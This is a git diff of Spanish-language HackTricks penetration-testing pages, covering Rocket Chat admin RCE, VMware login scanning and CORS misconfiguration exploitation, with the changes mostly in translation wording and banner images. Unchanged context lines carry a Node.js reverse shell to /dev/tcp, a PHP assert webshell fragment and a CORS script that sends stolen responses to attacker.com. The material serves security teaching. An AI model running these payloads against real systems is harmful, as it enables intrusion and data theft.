$___($_[_]); // ASSERT($_POST[_]);
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
|
|
@ -2,11 +2,11 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -23,18 +23,18 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
Si eres administrador dentro de Rocket Chat puedes obtener RCE.
|
||||
|
||||
* Ve a **`Integrations`** y selecciona **`Nueva Integración`** y elige cualquiera: **`Incoming WebHook`** o **`Outgoing WebHook`**.
|
||||
* Ve a **`Integrations`** y selecciona **`Nueva Integración`** y elige cualquiera: **`WebHook de Entrada`** o **`WebHook de Salida`**.
|
||||
* `/admin/integrations/incoming`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Según la [documentación](https://docs.rocket.chat/guides/administration/admin-panel/integrations), ambos utilizan ES2015 / ECMAScript 6 ([básicamente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) para procesar los datos. Así que obtengamos un [rev shell para javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) como:
|
||||
* Según la [documentación](https://docs.rocket.chat/guides/administration/admin-panel/integrations), ambos utilizan ES2015 / ECMAScript 6 ([básicamente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) para procesar los datos. Así que obtengamos un [shell inverso para javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) como:
|
||||
```javascript
|
||||
const require = console.log.constructor('return process.mainModule.require')();
|
||||
const { exec } = require('child_process');
|
||||
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
||||
```
|
||||
* Configurar el WebHook (el canal y publicar como nombre de usuario deben existir):
|
||||
* Configurar el WebHook (el canal y la publicación como nombre de usuario deben existir):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (902).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -47,10 +47,10 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (934).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Llámalo con curl y deberías recibir la rev shell
|
||||
* Llámalo con curl y deberías recibir la reverse shell
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
|
|
@ -1,18 +1,18 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks en AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de GitHub.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -28,7 +28,7 @@ msf> auxiliary/scanner/vmware/vmware_http_login
|
|||
```
|
||||
Si encuentras credenciales válidas, puedes utilizar más módulos de escaneo de Metasploit para obtener información.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -39,7 +39,7 @@ Si encuentras credenciales válidas, puedes utilizar más módulos de escaneo de
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -7,22 +7,22 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## ¿Qué es CORS?
|
||||
|
||||
El estándar Cross-Origin Resource Sharing (CORS) **permite a los servidores definir quién puede acceder a sus activos** y **qué métodos de solicitud HTTP están permitidos** desde fuentes externas.
|
||||
Cross-Origin Resource Sharing (CORS) es un estándar que **permite a los servidores definir quién puede acceder a sus activos** y **qué métodos de solicitud HTTP están permitidos** desde fuentes externas.
|
||||
|
||||
Una política de **mismo origen** exige que un **servidor solicitante** de un recurso y el servidor que aloja el **recurso** compartan el mismo protocolo (por ejemplo, `http://`), nombre de dominio (por ejemplo, `internal-web.com`) y **puerto** (por ejemplo, 80). Bajo esta política, solo se permite el acceso a los recursos a las páginas web del mismo dominio y puerto.
|
||||
Una política de **mismo origen** exige que un **servidor solicitante** de un recurso y el servidor que aloja el **recurso** compartan el mismo protocolo (por ejemplo, `http://`), nombre de dominio (por ejemplo, `internal-web.com`) y **puerto** (por ejemplo, 80). Bajo esta política, solo se permite el acceso a los recursos desde páginas web del mismo dominio y puerto.
|
||||
|
||||
La aplicación de la política de mismo origen en el contexto de `http://normal-website.com/example/example.html` se ilustra de la siguiente manera:
|
||||
|
||||
|
@ -45,7 +45,7 @@ Este encabezado es **emitido por un servidor** en respuesta a una solicitud de r
|
|||
|
||||
### Encabezado `Access-Control-Allow-Credentials`
|
||||
|
||||
Por **defecto**, las solicitudes entre dominios se realizan sin credenciales como cookies o el encabezado de Autorización. Sin embargo, un servidor entre dominios puede permitir la lectura de la respuesta cuando se envían credenciales configurando el encabezado `Access-Control-Allow-Credentials` a **`true`**.
|
||||
Por **defecto**, las solicitudes entre orígenes se realizan sin credenciales como cookies o el encabezado de Autorización. Sin embargo, un servidor entre dominios puede permitir la lectura de la respuesta cuando se envían credenciales configurando el encabezado `Access-Control-Allow-Credentials` a **`true`**.
|
||||
|
||||
Si se establece en `true`, el navegador transmitirá credenciales (cookies, encabezados de autorización o certificados de cliente TLS).
|
||||
```javascript
|
||||
|
@ -74,15 +74,15 @@ xhr.setRequestHeader('Content-Type', 'application/xml');
|
|||
xhr.onreadystatechange = handler;
|
||||
xhr.send('<person><name>Arun</name></person>');
|
||||
```
|
||||
### Solicitud previa CSRF
|
||||
### Solicitud previa a CSRF
|
||||
|
||||
### Comprendiendo las Solicitudes Previas en la Comunicación entre Dominios
|
||||
|
||||
Al iniciar una solicitud entre dominios bajo condiciones específicas, como usar un **método HTTP no estándar** (cualquier cosa que no sea HEAD, GET, POST), introducir nuevos **encabezados**, o emplear un valor especial en el encabezado **Content-Type**, puede ser necesaria una solicitud previa. Esta solicitud preliminar, aprovechando el método **`OPTIONS`**, sirve para informar al servidor sobre las intenciones de la próxima solicitud entre orígenes, incluyendo los métodos HTTP y encabezados que pretende utilizar.
|
||||
Al iniciar una solicitud entre dominios bajo condiciones específicas, como el uso de un **método HTTP no estándar** (cualquier cosa que no sea HEAD, GET, POST), la introducción de nuevos **encabezados**, o el uso de un valor especial en el encabezado **Content-Type**, puede ser necesaria una solicitud previa. Esta solicitud preliminar, aprovechando el método **`OPTIONS`**, sirve para informar al servidor de las intenciones de la próxima solicitud entre orígenes cruzados, incluidos los métodos HTTP y encabezados que pretende utilizar.
|
||||
|
||||
El protocolo de **Compartir Recursos de Origen Cruzado (CORS)** exige esta verificación previa para determinar la viabilidad de la operación entre orígenes solicitada, verificando los métodos permitidos, los encabezados y la confiabilidad del origen. Para comprender detalladamente qué condiciones evitan la necesidad de una solicitud previa, consulte la guía completa proporcionada por [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
El protocolo de **Compartir Recursos de Origen Cruzado (CORS)** exige esta verificación previa para determinar la viabilidad de la operación entre orígenes cruzados solicitada al verificar los métodos permitidos, los encabezados y la confiabilidad del origen. Para comprender detalladamente qué condiciones evitan la necesidad de una solicitud previa, consulte la guía completa proporcionada por [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
|
||||
Es crucial tener en cuenta que **la ausencia de una solicitud previa no elimina la necesidad de que la respuesta lleve encabezados de autorización**. Sin estos encabezados, el navegador no puede procesar la respuesta de la solicitud entre orígenes.
|
||||
Es crucial tener en cuenta que **la ausencia de una solicitud previa no elimina la necesidad de que la respuesta lleve encabezados de autorización**. Sin estos encabezados, el navegador no puede procesar la respuesta de la solicitud entre orígenes cruzados.
|
||||
|
||||
Considere la siguiente ilustración de una solicitud previa dirigida a utilizar el método `PUT` junto con un encabezado personalizado llamado `Special-Request-Header`:
|
||||
```
|
||||
|
@ -104,21 +104,21 @@ Access-Control-Allow-Credentials: true
|
|||
Access-Control-Max-Age: 240
|
||||
```
|
||||
* **`Access-Control-Allow-Headers`**: Este encabezado especifica qué encabezados se pueden utilizar durante la solicitud real. Es establecido por el servidor para indicar los encabezados permitidos en las solicitudes del cliente.
|
||||
* **`Access-Control-Expose-Headers`**: A través de este encabezado, el servidor informa al cliente sobre qué encabezados pueden ser expuestos como parte de la respuesta además de los encabezados de respuesta simples.
|
||||
* **`Access-Control-Expose-Headers`**: A través de este encabezado, el servidor informa al cliente sobre qué encabezados se pueden exponer como parte de la respuesta además de los encabezados de respuesta simples.
|
||||
* **`Access-Control-Max-Age`**: Este encabezado indica cuánto tiempo pueden ser almacenados en caché los resultados de una solicitud previa. El servidor establece el tiempo máximo, en segundos, que la información devuelta por una solicitud previa puede ser reutilizada.
|
||||
* **`Access-Control-Request-Headers`**: Utilizado en solicitudes previas, este encabezado es establecido por el cliente para informar al servidor sobre qué encabezados HTTP desea utilizar en la solicitud real.
|
||||
* **`Access-Control-Request-Method`**: Este encabezado, también utilizado en solicitudes previas, es establecido por el cliente para indicar qué método HTTP se utilizará en la solicitud real.
|
||||
* **`Origin`**: Este encabezado es establecido automáticamente por el navegador e indica el origen de la solicitud entre dominios. Es utilizado por el servidor para evaluar si la solicitud entrante debe ser permitida o denegada según la política de CORS.
|
||||
* **`Origin`**: Este encabezado es establecido automáticamente por el navegador e indica el origen de la solicitud entre orígenes cruzados. Es utilizado por el servidor para evaluar si la solicitud entrante debe ser permitida o denegada según la política de CORS.
|
||||
|
||||
Ten en cuenta que generalmente (dependiendo del tipo de contenido y los encabezados establecidos) en una solicitud **GET/POST no se envía una solicitud previa** (la solicitud se envía **directamente**), pero si deseas acceder a los **encabezados/cuerpo de la respuesta**, debe contener un encabezado _Access-Control-Allow-Origin_ que lo permita.\
|
||||
**Por lo tanto, CORS no protege contra CSRF (pero puede ser útil).**
|
||||
|
||||
### **Solicitud previa de solicitudes en red local**
|
||||
|
||||
1. **`Access-Control-Request-Local-Network`**: Este encabezado se incluye en la solicitud del cliente para indicar que la consulta está dirigida a un recurso de red local. Sirve como un marcador para informar al servidor que la solicitud proviene de la red local.
|
||||
2. **`Access-Control-Allow-Local-Network`**: En respuesta, los servidores utilizan este encabezado para comunicar que el recurso solicitado está permitido para ser compartido con entidades fuera de la red local. Actúa como una luz verde para compartir recursos a través de diferentes límites de red, asegurando un acceso controlado mientras se mantienen los protocolos de seguridad.
|
||||
1. **`Access-Control-Request-Local-Network`**: Este encabezado se incluye en la solicitud del cliente para indicar que la consulta está dirigida a un recurso de red local. Sirve como un marcador para informar al servidor que la solicitud proviene desde la red local.
|
||||
2. **`Access-Control-Allow-Local-Network`**: En respuesta, los servidores utilizan este encabezado para comunicar que el recurso solicitado tiene permiso para ser compartido con entidades fuera de la red local. Actúa como una luz verde para compartir recursos a través de diferentes límites de red, asegurando un acceso controlado mientras se mantienen los protocolos de seguridad.
|
||||
|
||||
Una **respuesta válida que permita la solicitud en red local** también debe tener en la respuesta el encabezado `Access-Controls-Allow-Local_network: true`:
|
||||
Una **respuesta válida que permita la solicitud de red local** también debe tener en la respuesta el encabezado `Access-Controls-Allow-Local_network: true`:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
...
|
||||
|
@ -130,22 +130,22 @@ Content-Length: 0
|
|||
...
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que la IP de linux **0.0.0.0** funciona para **burlar** estos requisitos y acceder a localhost, ya que esta dirección IP no se considera "local".
|
||||
Ten en cuenta que la IP de linux **0.0.0.0** funciona para **burlar** estos requisitos y acceder a localhost, ya que esa dirección IP no se considera "local".
|
||||
|
||||
También es posible **burlar los requisitos de la Red Local** si se utiliza la **dirección IP pública de un punto final local** (como la IP pública del enrutador). Porque en varias ocasiones, incluso si se accede a la **IP pública**, si es **desde la red local**, se concederá el acceso.
|
||||
{% endhint %}
|
||||
|
||||
## Configuraciones incorrectas explotables
|
||||
## Configuraciones mal configuradas explotables
|
||||
|
||||
Se ha observado que establecer `Access-Control-Allow-Credentials` a **`true`** es un requisito previo para la mayoría de los **ataques reales**. Esta configuración permite al navegador enviar credenciales y leer la respuesta, mejorando la efectividad del ataque. Sin esto, el beneficio de hacer que un navegador emita una solicitud en lugar de hacerlo uno mismo disminuye, ya que hacer uso de las cookies de un usuario se vuelve inviable.
|
||||
Se ha observado que establecer `Access-Control-Allow-Credentials` en **`true`** es un requisito previo para la mayoría de los **ataques reales**. Esta configuración permite al navegador enviar credenciales y leer la respuesta, mejorando la efectividad del ataque. Sin esto, el beneficio de hacer que un navegador emita una solicitud en lugar de hacerlo uno mismo disminuye, ya que se vuelve inviable aprovechar las cookies de un usuario.
|
||||
|
||||
### Excepción: Explotar la Ubicación de la Red como Autenticación
|
||||
### Excepción: Explotando la Ubicación de la Red como Autenticación
|
||||
|
||||
Existe una excepción donde la ubicación de la red de la víctima actúa como una forma de autenticación. Esto permite que el navegador de la víctima se utilice como un proxy, eludiendo la autenticación basada en IP para acceder a aplicaciones de intranet. Este método comparte similitudes en impacto con el reenvío de DNS pero es más fácil de explotar.
|
||||
|
||||
### Reflejo de `Origin` en `Access-Control-Allow-Origin`
|
||||
|
||||
El escenario del mundo real donde el valor del encabezado `Origin` se refleja en `Access-Control-Allow-Origin` es teóricamente improbable debido a las restricciones para combinar estos encabezados. Sin embargo, los desarrolladores que buscan habilitar CORS para múltiples URLs pueden generar dinámicamente el encabezado `Access-Control-Allow-Origin` copiando el valor del encabezado `Origin`. Este enfoque puede introducir vulnerabilidades, especialmente cuando un atacante utiliza un dominio con un nombre diseñado para parecer legítimo, engañando así a la lógica de validación.
|
||||
El escenario del mundo real donde el valor del encabezado `Origin` se refleja en `Access-Control-Allow-Origin` es teóricamente improbable debido a las restricciones para combinar estos encabezados. Sin embargo, los desarrolladores que buscan habilitar CORS para múltiples URL pueden generar dinámicamente el encabezado `Access-Control-Allow-Origin` copiando el valor del encabezado `Origin`. Este enfoque puede introducir vulnerabilidades, especialmente cuando un atacante utiliza un dominio con un nombre diseñado para parecer legítimo, engañando así a la lógica de validación.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -188,11 +188,11 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
```
|
||||
### Técnicas de Bypass de Expresiones Regulares
|
||||
|
||||
Al encontrarse con una lista blanca de dominios, es crucial probar oportunidades de bypass, como agregar el dominio del atacante a un dominio en la lista blanca o explotar vulnerabilidades de apropiación de subdominios. Además, las expresiones regulares utilizadas para la validación de dominios pueden pasar por alto matices en las convenciones de nomenclatura de dominios, presentando más oportunidades de bypass.
|
||||
Al encontrarse con una lista blanca de dominios, es crucial probar oportunidades de bypass, como añadir el dominio del atacante a un dominio en la lista blanca o explotar vulnerabilidades de apropiación de subdominios. Además, las expresiones regulares utilizadas para la validación de dominios pueden pasar por alto matices en las convenciones de nomenclatura de dominios, presentando más oportunidades de bypass.
|
||||
|
||||
### Bypasses Avanzados de Expresiones Regulares
|
||||
|
||||
Los patrones Regex suelen concentrarse en caracteres alfanuméricos, punto (.) y guion (-), descuidando otras posibilidades. Por ejemplo, un nombre de dominio diseñado para incluir caracteres interpretados de manera diferente por los navegadores y patrones Regex puede evadir controles de seguridad. La forma en que Safari, Chrome y Firefox manejan los caracteres de subdominio de guion bajo ilustra cómo estas discrepancias pueden ser explotadas para eludir la lógica de validación de dominios.
|
||||
Los patrones de Regex suelen concentrarse en caracteres alfanuméricos, punto (.), y guion (-), descuidando otras posibilidades. Por ejemplo, un nombre de dominio diseñado para incluir caracteres interpretados de manera diferente por los navegadores y patrones de Regex puede evadir controles de seguridad. La forma en que Safari, Chrome y Firefox manejan los caracteres de guion bajo en subdominios ilustra cómo estas discrepancias pueden ser explotadas para eludir la lógica de validación de dominios.
|
||||
|
||||
**Para obtener más información y configuraciones de esta verificación de bypass:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **y** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
|
@ -210,13 +210,13 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
|||
// Unauthorized access
|
||||
}
|
||||
```
|
||||
En esta configuración, se permite el acceso a todos los subdominios de `requester.com`. Sin embargo, si un subdominio, por ejemplo `sub.requester.com`, se ve comprometido con una vulnerabilidad XSS, un atacante puede aprovechar esta debilidad. Por ejemplo, un atacante con acceso a `sub.requester.com` podría explotar la vulnerabilidad XSS para eludir las políticas de CORS y acceder maliciosamente a recursos en `provider.com`.
|
||||
En esta configuración, se permite el acceso a todos los subdominios de `requester.com`. Sin embargo, si un subdominio, por ejemplo `sub.requester.com`, se ve comprometido con una vulnerabilidad de XSS, un atacante puede aprovechar esta debilidad. Por ejemplo, un atacante con acceso a `sub.requester.com` podría explotar la vulnerabilidad de XSS para evadir las políticas de CORS y acceder maliciosamente a recursos en `provider.com`.
|
||||
|
||||
### **Envenenamiento de caché en el lado del servidor**
|
||||
### **Envenenamiento de caché del lado del servidor**
|
||||
|
||||
[**Desde esta investigación**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
Es posible que al explotar el envenenamiento de caché en el lado del servidor a través de la inyección de encabezados HTTP, se pueda inducir una vulnerabilidad almacenada de Cross-Site Scripting (XSS). Este escenario se desarrolla cuando una aplicación no desinfecta el encabezado `Origin` para caracteres ilegales, creando una vulnerabilidad especialmente para usuarios de Internet Explorer y Edge. Estos navegadores tratan (0x0d) como un terminador de encabezado HTTP legítimo, lo que lleva a vulnerabilidades de inyección de encabezado HTTP.
|
||||
Es posible que al explotar el envenenamiento de caché del lado del servidor a través de la inyección de encabezados HTTP, se pueda inducir una vulnerabilidad almacenada de Cross-Site Scripting (XSS). Este escenario se desarrolla cuando una aplicación no desinfecta el encabezado `Origin` de caracteres ilegales, creando una vulnerabilidad especialmente para los usuarios de Internet Explorer y Edge. Estos navegadores tratan (0x0d) como un terminador legítimo de encabezados HTTP, lo que lleva a vulnerabilidades de inyección de encabezados HTTP.
|
||||
|
||||
Considera la siguiente solicitud donde se manipula el encabezado `Origin`:
|
||||
```
|
||||
|
@ -229,17 +229,17 @@ HTTP/1.1 200 OK
|
|||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Mientras que explotar directamente esta vulnerabilidad haciendo que un navegador web envíe un encabezado malformado no es factible, una solicitud creada puede ser generada manualmente utilizando herramientas como Burp Suite. Este método podría llevar a que una caché del lado del servidor guarde la respuesta y la sirva inadvertidamente a otros. La carga creada tiene como objetivo alterar el conjunto de caracteres de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades XSS debido a su capacidad para codificar caracteres de una manera que puede ser ejecutada como script en ciertos contextos.
|
||||
Mientras que explotar directamente esta vulnerabilidad haciendo que un navegador web envíe un encabezado malformado no es factible, una solicitud creada puede ser generada manualmente utilizando herramientas como Burp Suite. Este método podría llevar a que una caché del lado del servidor guarde la respuesta y la sirva inadvertidamente a otros. La carga creada tiene como objetivo alterar el conjunto de caracteres de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades XSS debido a su capacidad de codificar caracteres de una manera que puede ser ejecutada como script en ciertos contextos.
|
||||
|
||||
Para más lecturas sobre vulnerabilidades XSS almacenadas, consulta [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
Para más información sobre vulnerabilidades XSS almacenadas, consulta [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
**Nota**: La explotación de vulnerabilidades de inyección de encabezados HTTP, particularmente a través de envenenamiento de caché del lado del servidor, subraya la importancia crítica de validar y sanear toda la entrada proporcionada por el usuario, incluidos los encabezados HTTP. Siempre emplea un modelo de seguridad sólido que incluya validación de entrada para prevenir tales vulnerabilidades.
|
||||
**Nota**: La explotación de vulnerabilidades de inyección de encabezados HTTP, especialmente a través de envenenamiento de caché del lado del servidor, subraya la importancia crítica de validar y sanear toda la entrada proporcionada por el usuario, incluidos los encabezados HTTP. Siempre emplea un modelo de seguridad sólido que incluya validación de entrada para prevenir tales vulnerabilidades.
|
||||
|
||||
### **Envenenamiento de caché del lado del cliente**
|
||||
|
||||
[**De esta investigación**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
[**Desde esta investigación**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
En este escenario, se observa una instancia de una página web que refleja el contenido de un encabezado HTTP personalizado sin codificación adecuada. Específicamente, la página web refleja de vuelta el contenido incluido en un encabezado `X-User-id`, que podría incluir JavaScript malicioso, como se demuestra en el ejemplo donde el encabezado contiene una etiqueta de imagen SVG diseñada para ejecutar código JavaScript al cargarse.
|
||||
En este escenario, se observa una instancia de una página web que refleja el contenido de un encabezado HTTP personalizado sin una codificación adecuada. Específicamente, la página web refleja de vuelta el contenido incluido en un encabezado `X-User-id`, que podría incluir JavaScript malicioso, como se demuestra en el ejemplo donde el encabezado contiene una etiqueta de imagen SVG diseñada para ejecutar código JavaScript al cargarse.
|
||||
|
||||
Las políticas de Compartir Recursos de Origen (CORS) permiten el envío de encabezados personalizados. Sin embargo, sin que la respuesta sea renderizada directamente por el navegador debido a restricciones de CORS, la utilidad de tal inyección podría parecer limitada. El punto crítico surge al considerar el comportamiento de la caché del navegador. Si el encabezado `Vary: Origin` no está especificado, se vuelve posible que la respuesta maliciosa sea almacenada en la caché del navegador. Posteriormente, esta respuesta en caché podría ser renderizada directamente al navegar a la URL, evitando la necesidad de renderización directa en la solicitud inicial. Este mecanismo mejora la fiabilidad del ataque al aprovechar el almacenamiento en caché del lado del cliente.
|
||||
|
||||
|
@ -261,7 +261,7 @@ req.send();
|
|||
|
||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||
|
||||
